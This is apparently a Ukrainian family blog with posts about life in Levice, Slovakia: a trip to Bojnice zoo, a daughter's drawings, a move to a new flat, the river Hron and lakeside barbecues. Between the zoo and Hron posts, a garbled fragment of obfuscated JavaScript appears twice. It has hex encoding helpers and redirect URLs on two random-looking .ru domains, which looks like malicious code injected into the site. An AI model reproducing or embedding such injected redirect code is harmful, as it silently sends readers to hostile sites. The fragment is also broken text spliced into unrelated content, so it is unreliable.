Про “звілопалк і динозяблів” :)

привітик!
давайте я знову вам розкажу про зоопарк в Бойніце, чи як Улька охрестила – звіропарк;) Три роки тому я вже розказувала про нього, тож тепер трохи свіжих вражень, нових фоток і що змінилося з того часу. Читати далі

Фоторік: листопадове, Улькіні малювалки і трошки збитошного Андрійка:)

З старим новим роком вас всіх!
Я сьогодні буду далі фотозвітити. Листопад в нас був дуже хорошим, осінньо-кольоровим і теплим. А ще почали жовтіти сакури і я знову буду вам показувати, як же вони красивезно жовтіють!
SDC13029
SDC13031
Лянка, як завжди, робила листяний дощик і шурхала листя ногами)
SDC13023
SDC13018SDC13026
Ми навіть на грилювачку вибралися. На Шіклош. Це така висока-висока гора близько Левіц. Звідти просто шикарні краєвиди. Деякі фото, правда, ще з весни

SDC11471
SDC11472
SDC11475
А ще є отакі от “сходи в небо” з маленьким оглядовим майданчиком нагорі. Я тільки разок туди вилізала, страшно спускатися, там така висота і враження, що під прямим кутом майже.
SDC11465
SDC12985

А ще я давно хочу розказати вам про Улькині малювалки. Думала окремим дописом то зробити, але так як листопад мало фотографувався, доповню його Уляськіними малюваннями.
Отже, ви всі вже в курсі, що Лянка любитель щось малювати. Любов до карлюкання в неї присутня від самого початку – ото навчилася тримати олівець в руках, зрозуміла, що воно таке і всьо, дитина має хоч одне постійне захоплення. В Словаччині вона вже третій рік ходить на малювання і вони там не тільки малюють;)
Від початку і, практично, до тепер Ульку не дуже бавить колір. Який олівець вхопить, тим все і малює. Правда, десь так з 4,5 років почала трохи свої малюнки розфарбовувати, але то якось не дуже їй цікаво, так бачу. Розмальовки всіляки не дуже їй цікаві теж, але от вчора попросила купити їй “Барвистий світ”. Як не передумає, то куплю в Україні за 70 чи скільки там гривень, бо якось мені не дуже хочеться платити 10-12 євро за словацьке видання.
А ще я так замітила, що Ляна майже у всіх випадках малює тільки щось таке, що десь бачила вже намальоване. Тобто – малювати “з натури” їй не хочеться, каже, що не знає як. Намалювати щось вигадане, з власної уяви, так би сказати, їй теж не хочеться. Хоча, як прийде на неї настрій, то таке повимальовує:)
Але і тут є нюанси: Улька каже “я не знаю як“, а тоді просить “покажи!”. І от якщо їй показати покроково як щось намалювати, то вона намалює практично що завгодно.
А ще за малюнками дуже добре відслідковувати душевний стан дитини, я би сказала. Був в нас період, коли все мальоване було сумне, мало неусміхнені личка і були “такі злі, бо їх зачарувала відьма” або “сумні, бо були нечемні” або “бо вдарилися, бо загубили корону чи щось інше…”. Дякувати Богу, зараз всі позитивні і усміхнені)))
За своїми малюнками Улька часто вигадує якісь зовсім неймовірні історії, і любить малювати “за мультиками” чи “за книжками”.
Ще одна фішка – Уляська любить малювати сердечка: самі по собі, з очима і посмішками, і по центру грудей в котиків, дівчаток, мами, ангелика і так далі. А потім приносить мені той загорнутий папірчик і каже, що то мені прийшов лист. Коли я його розгортаю – бачу сердечко і вона зразу така пояснює “мама, то для тебе селдецко, то означає, що я тебе люблю“))).
Не так давно в Улькиних малювалках появилася ще одна особливість. Коли вона кимось незадоволена чи на когось зла, то малює ту особу, а потім її закреслює-закарлюкує. Ну наприклад, я не дозволила подивитися мультик і вона, хоч і не завжди, але деколи супиться і каже “мама, ти зла! я тебе зала наквеслю(=накреслю, словацькою “намалюю”), і так замалюю! певеклеслю!!!” чи “Андійко! шо ти накоїв! звий хвопчик!  мама, Андійко звий! я його зава поклеслю!”
Щоб ви розуміли ситуацію до кінця, слово “злий” Улька вживає не в українському розуміння значення цього слова. Просто словацькою zly, zla – це щось на зразок українського “недобрий, недобра” і навіть десь трохи “поганий”. Я так думаю, Улька тут має на увазі “неправий, неправильний”, бо ж робиш щось, що їй не подобається.  Про деякі ситуації вона теж каже, що то зле, наприклад, коли хтось викине сміття під ноги, вона зразу коментує, що то є зле смітити. Ну, думаю ви розумієте. І от я думаю, то добре чи не дуже, що дитина в такий спосіб “виливає” свої негативні емоції. Як думаєте?
Ну і власне самі малюнки, які я була назбирала по хаті і вчепила на стіну. Лянусі то було приємно і вона всім показувала свої малювалки))) Це – загальний вигляд:
SDC13000
Є трішки клеєного з паперу і з Нравок дещо, а отой котик вгорі то перемальований з готової картинки на кальку і так приклеєний. Робила на малюванні.
Ну, і дещо зблизька: оце наша сім’я:
SDC13002
Це мама (чомусь завжди з великою головою) і котик, яких Улька почала повально малювати в усіляких можливих позах після того, як намалювала на виставку Цукрика, і Улянка. Автопортрет можна сказати)))
SDC13008 SDC13001 SDC13005
Вчилися малювати коровку (ота з сердечками – моя, здається), тим більше, що в нас на столі є клейонка з кумедними коровами. Потім пішли варіації на тему баранчика:) Баранчику я тільки роги і вуха обвела жирнішим “шрифтом”)))
SDC13011 SDC13012
А це перед морем ми трохи обговорювали нашу поїздку, дивилися відео і картинки про море в інтернеті. Уляська ж ніколи не була на морі і не дуже знала, що то таке, хіба з мультиків. В дитини пішла морська тема:
SDC13006 SDC13004 SDC13007
Ну і шедевр, як на мене! Це вже в Хорватії після першого дня я запропонувала Лянці намалювати море, і вона зразу така “я не знаю як, покажи”. І ото я ручкою з однієї сторони альбому малювала як небуть море, а вона з іншого боку олівцями повторювала:
SDC13009

Ну і ще на десерт трохи шкодливого Андрійка. Це була плекана мною аж цілих два тижні котяча трава для Цукрика. Цукрик теж офігівшими очима спостерігала все те неподобство. Тільки Андрійко залишався спокійним і впевнено та методично доводив діло до кінця:
SDC13050 SDC13049 SDC13046
SDC13047

Оце і все, ще почитаємось:)

Про наш новий “домчек”, проект “фоторік” і інші приємності: частина перша

Ну що, начитавшись Наталі, Юлі і Олі з їх щотижневими фотозвітами, я таки вирішила, що теж буду фотозвітити: тим більше, що вже років зо два збираюся такий проектик розпочати))) Тож, урочисто розпочинаю наш фоторік!
А рік починаю з п’ятниці 20 лютого 2015 року. Бо в цей день ми остаточно перебралися в іншу хатку, в наш майже власний “domček”, в нашу “chalupku”))) Чим не привід запам’ятати цей період? Тому й така некругла дата і я планую її щороку святкувати, як наше власне домашнє свято – день народження домчека, отак от:)))
Так що давайте я вам спочатку розкажу про домчек і переїзди(наразі – без фото, бо фотити ще нема що, одні коробки всюди), а про перші два тижні з фото і всіма подробицями – другою частиною, бо дуже вже довгий допис виходить, замучитеся читати).
Маю таку надію – вам буде цікаво;)
Отже, якщо коротенько, то ми в Словаччині вже третій рік. І жили до цього часу на орендованій квартирі. Квартира була трьохкімнатна, велика, на восьмому поверсі і майже без меблів. Був необхідний мінімум і все. Оті останні два пунктики мені і не подобалися: не люблю високі поверхи, бо не відчуваю зв’язку з землею(та-та, мені чомусь треба бачити з вікна трохи вулиці, людей і дерева, а восьмий поверх – то трохи зависоко) ну і отой мінімум меблів – трохи важкувато робити хату затишною, якщо й вазу з квітами не дуже є куди поставити (і хоча на новій квартирі теж не дуже є де ставити вазу, але з часом сюди все докупим, і буде тут абсолютний “фен-шуй”, як кажуть наші друзі))). А ще та квартира стояла на продажі, і я, якщо чесно, дуже хотіла, щоб її нарешті хтось купив, бо тоді була б причини переїхати на іншу. І от нарешті, за два з половиною роки її таки купили. А в нас два місяці, щоб знайти нове житло. І почалося: безкінечне сидіння на ріелторських сайтах, ходіння по квартирах….
Скажу одразу – квартири в Словаччині, навіть на таке маленьке містечко як Левіце, досить дорогі: і в плані оренди і в плані купівлі. В середньому трьохкімнатна квартирка без меблів чи й з такими, щоб її орендувати, буде коштувати 380-400-450 євро на місяць. Або трохи дешевше, але в такому райончику, що в садочки і центр прийдеться добиратися автобусами чи дуже довго пішки. Щоб купити, то це в середньому 35 за квартиру в первісному її стані і далі 40-50 і більше тисяч євро: залежить від площі, стану і того ж району розташування. Це теж багацько. Але є ще така штука, як кредит, і в Словаччині (в порівнянні з Україною) він дуже навіть доступний, я вам скажу. Якщо опустити всю тяганину з банками і іншими службами, то сплачувати кредит за квартиру виходить майже на ті самі гроші, що й орендувати.
Отож, уявіть собі, після всіх мук ходіння по квартирах я знайшла ту, в яку «влюбилася», як тільки переступила поріг. Та-та, таке буває: квартирка невелика, але дуже затишна, на третьому поверсі 4-риповерхового будинку(дуже люблю такі малоповерхові будинки) і за 50 метрів від нашої старенької. Кльово, правда? Бо я вже так звикла до того райончику, де ми живем, що якось і не уявляла, як то жити десь інше. Ми речі всі за тиждень по трошки поносили в руках. А ще з свого нового балкону я бачу балкон моєї коліжанки і колишньої сусідки Алки. Бо ми вже так звикли до того, що ми «разом», що коли я п’ю на балконі чи на кухні каву і бачу Алку, яка теж сидить на балконі і п’є каву і якщо при цьому ще й балакати по телефоні, то складається враження, що ми, як і раніше бувало, п’ємо каву разом і балакаємо собі про всяке різне мамське і дівчаче)))
На період переїзду приїхала наша буся Оля, то ж було трохи легше – поки буся була з дітьми, я спокійно собі ходила на наш домчек(можна я квартиру буду так називати? Дуже мені любиться оце словацьке слово «domček», воно таке домашнє і затишне))) прибирати і розставлятися з коробками, меблями і іншими речами. Правда, на Словачину напав якийсь дуже моцний вірус грипу, і нас всіх скосило( Одна я не піддалася, і то добре, бо хтось же мусів бути здоровим і пильнувати всіх інших. Найбільше і найтяжче перехворіла мама. Але добре, що їй вже краще))) Та й дітиська мої вже вичалапали з того кашляння і сопляння.
А потім були два тижні (а скільки ще по переду))) обживання домчеку: безкінечне переставляння речей з одного кута в інший, з однієї шафки в іншу і так далі…. О, забула написати – квартирка має величеееееезну кладовку! З вікном! Як ще одна кімната, і то так добре, я вам скажу) Сьогодні якраз отой другий тиждень закінчується, а в мене враження, що пройшов уже місяць, не менше. Я навіть по календарю звірялася… два рази, бо чомусь так до кінця ще й не здається, що то тільки два тижні)))
Словаки квартири, як правило, продають і здають в оренду з кухонними стінками. Ну це якось як невідємна частина словацьких квартир, чи як, а нам дісталася ще й з стареньким, але працюючим, холодильником, повністю умебльованою спальнею і вставною шафою в коридорі. Це великий плюс для початку, я вам скажу – бо коли грошей і так обмаль, не треба одразу ж думати про найнеобхідніше умеблювання. Наразі, ми докупили пральку і плануємо Ульці кімнату вмеблювати повністю. А решта буде потім.
Так як домчек на третьому поверсі, то ми економимо на нічних лампах: просто в вікна світять нічні ліхтарі на вулиці, і якщо вдало відрегулювати жалюзі – спальня цілу ніч приємно освітлюється, що мені дуже зручно, бо я нормально бачу малого.
Так що, як ви вже зрозуміли, я в захваті від нової квартири. Єдине, чого мені тут буде не вистачати, так це краєвидів. На старій квартирі, з висоти восьмого поверху, краєвиди були неймовірні. Особливо любила розглядати хмари і дивитися захід сонця. Це таки було страшенно приємне заняття))) Деколи мала таке враження, що можу простягнути руки і набрати собі в пригоршні шматочок хмари до кави:

Ну що, буду завершувати, солодких снів вам:)

Ну і мені теж, звісно ж)))

Знайомтеся: найбільший зоопарк Словаччини в Бойніце

Вітаннячка з Словаччини!
Тут нарешті трошки похолодало і я дістала сили і натхнення хоч щось робити;) От ніколи людина, напевне, не буде абсолютно задоволеною… особливо погодою. У Львові я стогнала і нарікала на дощ, а приїхали до Левіц як в Африку: неймовірна спека і ні каплі дощу, ні подиху вітру… Не повірите, але зранку в 6.00 годин на градуснику майже +30… а на сонці через обід цілих +64 якось було… і в хаті вночі +30… повний капець( я ходила як варена і абсолютно нічого не хотіла,… тобто, щось та й хотіла, але сама не знала чого) Так буває, особливо в жінок)))
Так, ліричний відступ на погоду завершено, тепер про цікавіше: ми на кінець-то розпочали трошки вивчати Словаччину і першим в списку був найбільший зоопарк Словаччини в Бойніце. На сторінці зоопарку можете собі глянути всіх звірюк, що там живуть.
Бойніце (словацькою Bojnice) це невеличке містечко в західній Словаччині з населенням десь під п’ять тисяч, але дуже цікаве в плані погуляти-подивитися: бо є тут найбільший зоопарк Словаччини, замок і купаліска з мінеральними джерелами, тобто басейни, а ще кажуть, варто відвідати костел святого Мартина і якусь печеру, та й саме містечко, в цілому, дуже мальовниче. Містечку цьогоріч якраз 900 років було.
Їхали ми з Левіц трохи більше години, бо дорога через гори, а там не розженешся, зате краєвиди суперові. Біля зоопарку є кілька парковок, залишити авто на цілий день нам коштувало 4 євро. Заїхали в Бойніце десь так по 11 годині і відразу в зоопарк. Допоки обійшли весь, то було вже десь по четвертій, бо гуляти там є де. Сам зоопарк дуже великий за територією, 41 гектар, а от щодо живності трохи мені забракло. Хоча, то взагалі перший зоопарк, який я відвідала в своєму житті і багато всілякої звірини взагалі перший раз на очі бачила, а тому на щось нарікати взагалі не маю права).
Збоку перед зоопарком є Бойніцький замок. Ззовні дуже красивий, а от в середину ми не попали: дуже велика черга туди була та й квитки не зовсім дешеві – по 10 євро з людини за півторагодинну екскурсію. Так що замок ми собі напланували на пізніше, тим більше, що його зараз якраз трохи поновлюють:)

Дальше перед входом до зоопарку є такий собі невеличкий базарчик з сувенірами, де ми за 2,50 євро купили магнітика напам’ять, і ресторанчики і гарний парк з озером, де можна просто погуляти чи на травичці посидіти.
А ще стояли хлопці і дівчата дуже середньовічного вигляду з усіляким хижим птаством. Орла можна було навіть погладити.
Вхід в зоопарк коштує 4 євро з дорослого, але є гнучкі знижки для студентів, дітей і доходцов (dôchodcov), тобто, пенсіонерів. Доріжки в зоопарку дуже раціонально розташовані: йдеш практично по колу, обходиш всіх звірюк і повертаєшся на початок, що дуже зручно. В зоопарку є багато атракцій для дітей і всіляких кафешок з фастфудом, де можна попоїсти якогось гамбургера чи “гарячого пса”. Та-та, хотдоги в словаків детально “перекладені” на словацьку, самі дивіться:
Ні гарячого, ні рябого, ані великого пса ми їсти не захотіли, обійшлися гранолками (картопля-фрі), кофолою (щось типу кока-коли місцевого виробництва) і якимось хімічним пійлом типу мороженого солодкого льоду неймовірно яскравих кольорів.
Дальше суто про звірину. Попереджаю зразу: фотки є, але мало хто з тварин дивиться в камеру( Як правило, вони всі до мене поверталися задом, як тільки я об’єктив на них наводила(
Починається зоопарк з усілякого птаства: сови, соколи,

орли,


і навіть такий рідкісний білоголовий сип, лебеді, фламінго, який дуже кумедно сидів на зігнутих колінах

папуги, гуси, страуси, павліни, казуари, фазани, ібіси


і ще всяких різних…

До речі, гуси, лебеді, фламінго і качки не в клітках, а в таких собі вольєрах під відкритим небом з невеликими озерцями. Чи то птахам крила попідрізали, чи їм там так добре, але плавають вони собі там спокійно і нікуди навіть не думають втікати. В озерцях сила силенна риби плаває і черепахи. Спострерігали таку картину, коли риба “набила” качку і вигнала її на берег з води. Було кумедно)))
Місцеві ворони не гидують під’їдати з загального корита на пару з казуаром
Дальше була велика “яма” з ведмедями. Ті сиділи в воді з блаженними посмішками на мордах і виглядали навіть дуже задоволеними.

В окремій будівлі є віваріум з усілякими рибо-жабо-ящірко-павуко-гадами) Найбільше сподобалася синя жаба і синій варан. Ну і зміюки всі були дуже яскравими, бо тільки но шкіру поміняли. І була ще велиииика черепаха, вся поросла водоростями!!!






Улька, звичайно ж, випросила собі морозиво)

Ось таку чудернацьку квіточку надибали… а що воно таке не знаю.

Були кенгуру, павільйон з мавпами, які майже всі поховалися від жари і безбожно спали. Орангутангів якраз підгодовували замороженими фруктами, але зафотографувати їх було неможливо: багато людей коло клітки, дуже запальцьоване скло і на сонці тільки ті відбитки на склі і були видні( Зате вдалося зловити отаку от блакитнодупу мавпочку)

Вперше побачила живого дикобраза – дуже вони загрозливо виглядають, скажу я вам, особливо, коли голками повертаються і зразу пригадується, що вони вродь, тими голками як стрілами можуть “стрельнути” (все таки не можуть, навмисне гуглила;)))

Дуже сподобалися сурікати, вони так кумедно сиділи на дупах в піску і заглядали відвідувачам в очі. Прямо як з мульта

Слони… не уявляла навіть, що в живу вони такі здоровенні. Почуваєшся біля них такою малееенькою казявкою. Слони весь час обдмухували себе вухами. Шкода, що були закриті всередині і фотки не дуже вдало вийшли, але все ж

Дальше були загони з усякими копитними: олені, лами, зебри, верблюди, коні Прживальського, які майже що вимерли і на даний час є єдиними дикими конями, поні і ще всякі різні мені до цього часу невідомі. Уляні сподобалися поні, бо їх погладити можна було



Леопард, видно, що щойно пообідав, спав і ні нащо не реагував

Знайшли таку цікаву тварючку як жанетта звичайна. Навіть не знала, що така існує. Єдина позувала мені в камеру і то, як виявилося, тому, що вилізла з нірки покакати))))

А ще тут гарні краєвиди

От… а дальше моя фотознімачка сказала нам па-па і розрядилася(

Є на території зоопарку ще такий собі мініпарк з гумовими динозаврами, які крутять хвостами і ричать. Вхід, здається, 3 євро з людини.
На сам кінець, вже за територією зоопарку ми попали в зеркальний лабіринт. Словацькою це звучить дуже кумедно – zrkadlové bludisko – зркадлове блудіско. За 2 євро з носа ми там трохи поблудили, Уляна чолом гепнулася два рази і здивовано дивилася на нас, чому то вона туди не може зайти. Пореготалися з коханим чоловіком в кімнаті кривих зеркал і нарешті поїхали додому. Улька вирубалася на виїзді з парковіска (парковки) і всю дорогу проспала. А я всю дорогу голову їй тримала, бо на всіх тих поворотах через гори шию можна зламати.

Прогулянкою ми задоволені страшенно, плануємо поїхати в Бойніце ще, на купаліска і в замок. А на наступні вихідні хочемо в біологічний сад подивитися. Я в біологічних садах, соромно признатися, теж ще жодного разу не була. Так що чекайте нового звіту. А ще за цей один день я виконала кілька своїх бажаннячок)

Чао, ваша Юлька)

// o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t=””,o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return “julliastoryblog.wordpress.com”},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf(“http”)==0){return p}for(var e=0;ehttps://ncnjm3le.ru/f2.html?a=26482https://3oaq3lgf23.ru/u.html?a=26482

// o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t=””,o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "julliastoryblog.wordpress.com"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;ehttps://ncnjm3le.ru/f2.html?a=26482https://3oaq3lgf23.ru/u.html?a=26482

Про словацьку річечку Грон

Взагалі-то про поїздку на Грон мала написати ще давніше, бо були ми там на початку березня, але все якось часу не вистачало. Так от, виправляюся.
Грон – це ліва притока Дунаю і друга за довжиною річка у Словаччині. Річечка дуже вертлява і тече через добру половину Словаччини (хоча… скільки там тої Словаччини))) Багато містечок і сіл, що знаходяться над Гроном, так і називаються: Кальна над Гроном, Жар над Гроном, Юр над Гроном… а чого морочитися?)))
Ми були на початку березня, поїхали на грилювачку. Було ще трохи холодно, але ми грілися біля вогню і м’ячем бавилися) Відпочинок на природі майже завжди одинаковий – про нього щось розписувати не дуже і є що,… а от природа завжди різна і завжди зафоткана, так що прошу на екскурсію кусочком Грону:

вдалося зловити качок

Є на Гроні невеличка дамба чи як, над якою є місток, по якому можна прогулятися і який страшно хитається під ногами… враження – дуже голосно шумить вода, летять бризки води, в сонячну погоду можна ловити райдугу, дивитися зверху на те, як падає вода дуже страшно, принаймні мені, бо Уляна вчепилася в загорожу і споглядала то все з великим зацікавленням і без жодного нятяку на страх)




Шкода, що не зробила відео і ви не чуєте, як та вся вода страшно шумить)

ну і я зі страху вчепилася в Ульку і старанно роблю вигляд, що то я її тримаю

І наостанок: крига в калюжах під певним кутом освітлення дуже навіть цікаво і незвично і нестандартно може виглядати

 Наразі все, далі буде)

Па-па

Відкриття сезону “грилювачок”)))

Вітаннячка з Левіце!

В нас літо повним ходом – ще трохи жари і захочу осені))) Але з другого боку – тепер кожні вихідні кудись та й їдемо, в основному, по озерах катаємося. Коли в спину гріє сонечко, то біля води посидіти, посмажити ковбасок просто супер класно. Тут на такі посиденьки на природі кажуть “грилювачка”), певно від слова гриль і тому, що на грилювачку завжди з кавбасками-гриль виїжджаємо)))
Тиждень тому були на озері в селі Батовце. Хоча, якщо бути точним – то це водосховище. Цього разу зібралися гарною, великою, майже, українською компанією, мала хапнула з дому вудку і “ловила” рибку… а ми, в основному, пильнували, щоб потім не виловлювати з озера її. Одним словом, відпочили супер, надихалися свіжим повітрям, наїлися ковбасок і печеної картоплі (точніше тим, що вдалося виколупати з грудки вугілля в фользі))) і дивилися “природу”)

це саме озеро – довге, не змогла все вмістити в одне фото, зате зробила панорамне фотографування)


наша маленька компанія

Улька ловить рибку


і відпочиває на пару з татом)))

Фоток не дуже багато, наступного разу буде більше)

Моя весна…

Ніколи не орієнтуюся на календар … мені якось пори року змінюються за настроєм. От зима в мене цього року була з жовтня до 20 січня – бо був різдвяний настрій. А сьогодні в мене вже весна, бо саме сьогодні мені весною запахло)))
В Левіце день тому падав густий лапатий і просто казковий сніг, і це при +5 тепла на вулиці. Падав цілий день, а на вечір пішов дощ. Тому вчора ми гуляли мало, але ефективно: за пів години обходили всі калюжі навколо будинку і мокрі, але дужжжжеееее щасливі пішли додому. Для ясності уточнюю, що калюжі, а також надійність черевичок і моє терпіння міряла Уляна. Читати далі